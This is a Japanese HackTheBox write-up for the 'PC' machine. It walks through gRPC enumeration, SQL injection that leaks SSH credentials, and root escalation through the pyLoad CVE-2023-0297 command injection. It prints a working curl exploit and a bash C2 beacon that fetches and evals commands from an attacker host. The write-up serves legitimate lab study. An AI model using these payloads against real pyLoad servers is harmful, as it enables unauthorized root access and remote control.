今回はHackTheBoxのPCマシーンを解いたので、その流れを解説します。
まずはポートスキャンを行い、アクセスできるサービスがないかを探します。
そうすると、22番ポート(SSH)と50051番ポートが開いているのか分かります。
50051番ポートはgRPCという、Proto RequestとProto Responseの2つのメッセージで通信を行う
プロトコルのデフォルトポートです。
gRPCが怪しいので、gRPCUIというツール(https://github.com/fullstorydev/grpcui)を使って
中身を見てみます。
そうすると、gRPCプロトコル経由でアカウントの登録、ログイン、アカウント情報取得ができることが分かります。
ここでは、既にadminアカウントがadminというパスワードで登録されていました。
sqlmapを使いアカウント登録、ログイン、アカウント情報取得のどれかでsql injectionできないか試してみます。
そうすると、アカウント情報取得だけsql injectionの脆弱性があることが分かりました。
このアカウント情報取得ページからテーブルの内容をsql injectionを使って表示できそうなので
実際にやってみます。
そうすると、sauというアカウント情報がパスワードとともに出てきました。このアカウントでSSH接続できそうなので、やってみます。
sauのアカウントでSSH接続することができました。
ちなみに、ログインするとuser.txtというファイルがあり、その中に1つ目のフラグが入っていました。
まず、suidがついた実行ファイルが無いか確認します。PATH変数を利用した権限昇格ができないか試すためです。
ですが、利用できるファイルが見つからなかったので、次はローカルで動いてるサービスが無いか確認してみます。
8000番ポートはpyLoadのデフォルトポートなので、このサービスがrootで動いているか確かめてみます。
psで確認したところ、rootで動いているみたいです。
これは権限昇格に使えそうです。このサービス内で利用できそうな脆弱性を探してみると
command injectionの脆弱性が見つかりました(https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad)
pyLoadの脆弱性を利用した攻撃では、reverse-shellを使います。今回は2つのスクリプトを作ります。
今回はC2サーバーとしてVillain(https://github.com/t3l3machus/Villain)を使っています。
Villainは複数のreverse-shellセッションを保持しつつ、他のPCにあるVillainサーバーのセッションも共有できるので
重宝してます。
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"bash%20/tmp/exploit.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
nohup bash -c 's=10.10.14.18:8080&&i=018583-c27fed-8677af&&hname=$(hostname)&&p=http://;curl -s "$p$s/018583/$hname/$USER" -H "Authorization: $i" -o /dev/null&&while :; do c=$(curl -s "$p$s/c27fed" -H "Authorization: $i")&&if [ "$c" != None ]; then r=$(eval "$c" 2>&1)&&echo $r;if [ $r == byee ]; then pkill -P $$; else curl -s $p$s/8677af -X POST -H "Authorization: $i" -d "$r";echo $$;fi; fi; sleep 0.8; done;' & disown
1つ目のスクリプトはpyLoadに/tmp/exploit.shを実行させるスクリプトです。
2つ目のスクリプトは自分のPCで動かしているC2サーバーにアクセスさせるスクリプトです。
実際に作成したスクリプトを実行してみましょう。
そうすると無事セッションが確立できました。
rootディレクトリに行ってみると2個目のフラグがあったので、これでPCは終わりです。